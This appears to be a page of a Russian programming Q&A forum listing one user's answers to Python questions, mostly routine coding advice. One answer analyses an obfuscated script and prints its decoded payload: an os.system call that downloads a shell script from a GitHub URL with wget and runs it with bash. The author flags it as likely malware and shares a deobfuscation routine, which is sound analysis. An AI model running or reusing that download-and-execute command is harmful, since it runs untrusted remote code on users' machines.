Ответы пользователя по тегу Python
  • Что я делаю не так Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    знатоки, которые подскажут, что я забыл

    Вы забыли изучить особенности работы вашей операционной системы с типами файлов.
    Вам нужно прописать ассоциацию *.py файлов с python.
    Однако в любом случае это странный способ запускать питоновские скрипты. Обычно это делают в консоли через venv.
    Но так как вы хотите тоже можно, конечно. Для очень специфических нужд...
    Гуглите, короче, как прописывать ассоциации файлов в вашей системе.
    Я в винде ничего не делал уже лет 10, не помню где там оно.
    Ответ написан
    Комментировать
  • Как создать offline карту на python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Судя по постановке вопроса и ошибкам в его тексте вам ещё не скоро хватит знаний и опыта для реализации задуманного.
    Нет смысла отвечать подробно на него. Но в общих чертах сделать такой оффлайн навигатор несложно.
    Правда писать его с нуля на чистом питоне тоже никакого смысла нет. Обычно поднимают в докер-контейнерах готовые:
    - постгрес с постгисом
    - osrm
    - тайл-сервар
    - ну и само приложение, которое может быть как бэкенд веб-приложения или написано на том же ткинтере.

    Самое сложное во всём этом - это сконфигурировать все эти сервисы, ну или найти простую инструкцию которая доходчиво расскажет как вытащить необходимые данные из OSM, как настроить рендер тайлов, как сконфигурировать osrm...
    Ответ написан
    Комментировать
  • Как сделать чтобы бот отвечал с вероятностью?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    А в чем проблема? Сгенерите случайное число от 0 до 99. Если число меньше, чем требуемый процент срабатывания, то считаем "сработало", если больше или равно, то нет.
    Ответ написан
    2 комментария
  • При запуске Anaconda Navigator возникает OSError Could not find a suitable TLS CA certificate bundle, invalid path. Как пофиксить?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    4-я папка (Anaconda3) существует, но pip.ini в ней нет.

    Так создайте и добавьте в него то, что предлагается в инструкции.
    Ответ написан
    Комментировать
  • Что делает этот код на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Вот байткод, который в итоге пытается выполнить этот кусок:
    00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
    01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
    02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
    03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
    04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
    05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
    06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
    07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
    08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
    09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
    10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
    11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
    12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
    13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
    14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
    15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
    16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
    17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
    18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
    19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
    20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
    21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
    22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
    23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
    24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
    25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
    26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
    27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
    28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
    29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
    30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


    Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
    ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
    ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

    Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
    import marshal, zlib, base64, dis
    
    
    def extract_code(b, deep=0):
        print(f'=== extract_code [{deep}]')
        code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
        instructions = list(dis.get_instructions(code))
        if (
            (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
            and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
        ):
            code2 = instructions[2].argval
            extract_code(code2, deep + 1)
        else:
            for i, inst in enumerate(instructions):
                print(f'{i:02d}: {inst=}')
    
    
    extract_code(...)
    Ответ написан
    6 комментариев
  • Почему цикл не корректно работает?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Сказано же в задании надо граничить цикл 10 итерациями. А вы не ограничиваете. В этом и проблема.
    8*8=64
    6*6+4*4=52
    5*5+2*2=29
    2*2+9*9=85
    8*8+5*5=...
    И так очень и очень долго.
    Ответ написан
    Комментировать
  • Как определить символ(ы) конца строки в csv?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Зачем?!
    Это не конец строки, это просто пустые столбцы. Конец строки там по абзацу. Зачем вообще вам нужно указывать конец строки как-то особенно? Вы можете потом просто отбросить нужное число элементов из кортежа и всё.
    Ответ написан
    2 комментария
  • Генетический алгоритм в pygame?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Сделал простенькую игру на pygame.

    Можно ли обучить башню самой стрелять по ботам с помощью генетического алгоритма.

    Башня должна определить по какой дорожке к ней идёт бот. Определить его расстояние и скорость. И как он подошёл к сектору начать в него стрелять.


    Зачем? Если это твоя собственная игра, то ивой код и так "знает" параметры и траекторию перемещения юнитов, зачем тут генетические алгоритмы?

    Генетические алгоритмы нужны когда строгое алгоритмическое решение оказывается слишком сложным вычислительно или логически. Тогда можно сделать простую мультиагентную систему, и каждый агент будет реализовывать свою вариацию стратегии игры.
    Нужно построить "геном" - набор изолированных параметров, которые определяют стратегию агента.
    Нужно сформулировать правила "скрещивания" и "мутации" геномов, чтобы в результате получались новые стратегии для новых агентов.
    Нужно оценивать эффективность каждого агента в баллах или придумать нормирующую функцию которая по набору показателей агента (kill-rate, набранное число очков за жизнь, продолжительность жизни, нанесенному урону) будет выдавать число (скаляр) с помощью которого можно сравнивать агентов. В совокупности с логикой стратегии эта нормирующая функция будет формировать фитнес-функцию. Фитнес-функция принимает параметры стратегии (геном) и возвращает результат - скаляр - качество агента. Формируем поколения или просто периодический отбор самых качественных, потом их скрещиваем в рандомном или каком-то еще порядке, добавляем мутации и формируем новый набор агентов с новым геномом. а значит с новыми параметрами стратегий.
    И так по кругу. В итоге у вас получатся агенты, которые будут эволюционировать.

    В вашей задаче так можно, например, "обучать" нападающих юнитов. Пользователь ставит башни и остреливается, а ваши генетические юниты плодятся, мутируют и лезут на пользователя. Лучшие отбираются и на их основе генерится потомство, которое попадает в следующие волны.

    Осторожно, если раскусить этот принцип. пользователь сможет нарочно не применять какой-то очень сильный приём, которым будет выкашивать целиком популяции, которые не смогут так к нему приспособиться. Так работают антибиотики, если их применять правильно. А если оставлять в живых недобитых юнитов, то они будут формировать резистентность к приёму.

    Никаких особых библиотек для такой реализации не требуется. Всё довольно просто и понятно.
    Ответ написан
  • Что такое PSS.MAX_LENGTH?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Очевидно это длина соли и по умолчанию она уже максимальна, но можно солить и не максимальной по длине солью. Я присоединяюсь к вопросу. что вас не устроило в документации?
    Этот параметр задан в библиотеке у функции по умолчанию. Если вы не знаете что там прописать - не трогайте.
    Чему равно максимальное значение вы можете увидеть прыгнув на реализацию этой константы, ну или просто напечатав это значение в консоль.
    Ответ написан
    Комментировать
  • TLSv1_3 в aiohttp?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Забавно. Скоро не будет никакого смысла идти за ответом сюда, когда можно к чатжпт сходить.
    Даже читать не стал ваш вопрос после заголовка и скопировал его в чатжпт4. Вот что он ответил:

    В `aiohttp`, процесс создания и настройки пользовательского TLS контекста отличается от того, что используется в `requests`. В `aiohttp`, вы должны настроить SSL контекст до создания сессии и передать его в качестве аргумента при создании клиентской сессии. Вот как вы можете адаптировать ваш пример для `aiohttp`:

    1. Создайте SSL контекст, используя стандартную библиотеку `ssl`.
    2. Настройте контекст, задав нужные параметры, такие как версия TLS, набор шифров и кривые ECDH.
    3. Создайте экземпляр `aiohttp.ClientSession`, передав SSL контекст.

    Пример кода:

    import ssl
    import aiohttp
    
    class TLSv1_3_BYPASS:
        ciphers = '...'  # Здесь должен быть ваш список шифров
    
        @staticmethod
        def create_ssl_context():
            ssl_context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
            ssl_context.set_ciphers(TLSv1_3_BYPASS.ciphers)
            ssl_context.set_ecdh_curve("prime256v1")
            ssl_context.minimum_version = ssl.TLSVersion.TLSv1_3
            ssl_context.maximum_version = ssl.TLSVersion.TLSv1_3
            return ssl_context
    
    # Создание SSL контекста
    ssl_context = TLSv1_3_BYPASS.create_ssl_context()
    
    # Создание aiohttp сессии с пользовательским SSL контекстом
    async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=ssl_context)) as session:
        # Теперь вы можете использовать session для выполнения запросов
        response = await session.get('https://example.com')
        # ...


    В этом примере кода создаётся пользовательский SSL контекст, который затем используется для создания `aiohttp.ClientSession`. Обратите внимание, что вам нужно будет заменить `'...'` в `ciphers` на фактический список шифров, которые вы хотите использовать.
    Ответ написан
    Комментировать
  • Как создать связь с полем модели внутри нее?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Надо делать это вычисляемым полем, например. Зачем филд? А если надо для оптимизации, чтоб не делать каждый раз запрос, то можно перекрыть сохранение и записывать ссылку.
    Ссылку на себя из модели делать можно, вместо класса указывается его имя в виде строки.
    В каждом туториале по джанго такие примеры есть. А если каких-то нет, а вам-новичку это зачем-то надо, то впору задуматься а правильно ли так поступать. Обычно все правильные пути давно исхожены, дорожки проторены и снабжены горой примеров и документацией. Маловероятно, что в начале своего пути вы столкнулись с каким-то редким сложным кейсом, который не ражеван сообществом вдоль и поперёк.
    Ответ написан
    1 комментарий
  • Как получить описание устройства в системе через python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    У вас виндузятников там есть вроде консольная команда driverquery
    Можно её выполнять из питона и парсить результат. Там есть в выхлопе нужное устройство?
    Можно попробовать подключаться перебирая все порты, если есть возможность определить при успешном подключении нужное это устройство или нет.
    Искать нужно как найти нужные данные через консоль, а потом искать как выполнить консольную команду из питона и получить консольный выхлоп, а потом искать нужную строчку в выхлопе.
    Примерно такой путь.
    Ответ написан
    Комментировать
  • Как в БД проверять есть ли такое значение?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Добавлю к предыдущему ответу, что можно по факту выполнения запроса посмотреть сколько записей добавилось в БД и исходя из этого вывести пользователю соответствующий ответ на команду "старт": https://peps.python.org/pep-0249/#rowcount
    Ответ написан
    Комментировать
  • Как оптимизировать сервер на python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    В первую очередь нужно всё измерить. Просто методом тыка оптимизировать плохая идея, ведь вы не знаете какие места представляют "бутылочные горлышки".
    Нужно добавить логирование с замерами времени разных этапов.
    У вас все этапы выстроены друг за другом и пока происходит один этап больше ничего не происходит. Можно сформировать конвейер и разнести те задачи, какие можно по процессам. Для этого есть, например, очереди.
    Вы каждый раз загружаете модель, а это можно сделать лишь один раз вынеся за пределы цикла.

    Вот смотрю и вижу, что ваша задача очень похожа на задание. Если вы это написали самостоятельно, то должны были бы уже догадываться что с этим кодом не так. А так получается, что это не ваш код и вам задали вопрос как его оптимизировать, а вы пришли с этим заданием сюда. Так нельзя.
    Ответ написан
    2 комментария
  • Почему модуль winsound не воспроизводит звук?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    1) проверить пример из документации
    # Play wav file
    winsound.PlaySound('c:/windows/media/Chord.wav', winsound.SND_FILENAME)

    2) Убедиться, что по указанному пути есть файл и там нужный звук. Использовать полный абсолютный путь для начала, потом проверять текущий каталог.
    Ответ написан
    Комментировать
  • Ошибка аргументоа (мешает self), что делать?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    def download(link, path, mp, self):
    Нужно задекорировать метод как классовый или сттический. Если классовый, то надо указать первым аргументом cls
    Ответ написан
    Комментировать
  • Как скормить звук python чтобы после его распознания выполнялось действие?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Без примеров такие абстрактные вопросы для ответа требуют целой лекции. Огромного количества догадок и большой индивидуально подготовленной для вас лекции по теме. Судя по постановке вопросв и комментариям у вас нет необходимых навыков программирования, чтобы начинать свою картеру программиста с такой задачи. Нужно освоить массу более простых вещей, терминологию, сделать несколько более простых и понятных проектов.

    На ваш вопрос было бы проще ответить, если бы вы привели в качестве примера звуки, на которые нужно сделать специфическую реакцию, продемонстрировали какие шумы (в худшем случае) могут накладываться на звук, а также звуки, которые похожи на требуемый, но недостаточно, чтобы программа реагировала на него, как на нужный.
    Тогда можно уже, вооружившись опытом и знаниями, поискать решение вашей проблемы.
    Может быть вам подойдёт сравнение фурье-спектров референсного звука и распознаваемого. Может быть достаточно реагировать на специфический ритм щелчков, а может быть придётся прибегнуть к смеси этих методов отфильтровав звуки в виде фурье-образов, а потом результат фильтрации выравнивать по фазе и сравнивать семпл-по-семплу с некоторой точностью.
    Может быть вас устроило бы дискретизировать звук после фильтрации и сравнивать их.

    В любом случае звук - это массив чисел длинной Частота_дискретизации*Длительность.
    Этот массив можно обрезать по тишине слева и справа, выровнять по уровню, оценить поместится ли в оставшийся фрагмент искомый звук. Потом нужно понимать, что оставшийся массив - это многомерный вектор. Он указывает в некий объём многомерного пространства. Какие-то сати этого пространства "похожи на некий образцовый звук", а какие-то нет. Нужно написать функцию, принимающую вектор и возвращающую число - степень похожести звука на образец. Это делается нормированием.

    Надо понимать, что к полезному примешивается обычно шум. Шумы имеют разные источники и их нужно уметь различать. Есть простой гауссовский шум, есть какие-то помехи и щелчки, которые будут соперничать с уровнями и частотами полезного сигнала.

    Изучать нужно по теме "Цифровая обработка сигналов", "сравнение звуков"
    Ответ написан
    3 комментария
  • Как можно распарсить текст на python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Схема проста и есть несколько вариантов:
    1) Пойти к фрилансерам и купить решение. Это самый простой быстрый и дешевый способ.
    2) Самостоятелбно:
    - Изучить основы питона
    - Разобраться что такое регулярные выражения
    - Написать функцию, которая из строки достаёт 2 нужных значения.
    - Применить функцию ко всем строкам.
    - ...
    - Профит!

    А вообще тут регекспы и не нужны вовсе. Достаточно разбить весь текст по символу абзаца на строки, а потом каждую строку разбить сплитом по пробельным символам (без аргументов). Всё, осталось взять только нужные столбцы получившейся таблицы.
    Ответ написан
    1 комментарий
  • Как реализовать условие правильно?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    жесть.
    1) правильно подсказали, что эта сумма вычисляется за одно действие.
    2) так нельзя обменять две переменные значениями
    start = end
    end = start

    3) питон позволяет сделать это одним присвоением: a, b = b, a
    Ответ написан
    Комментировать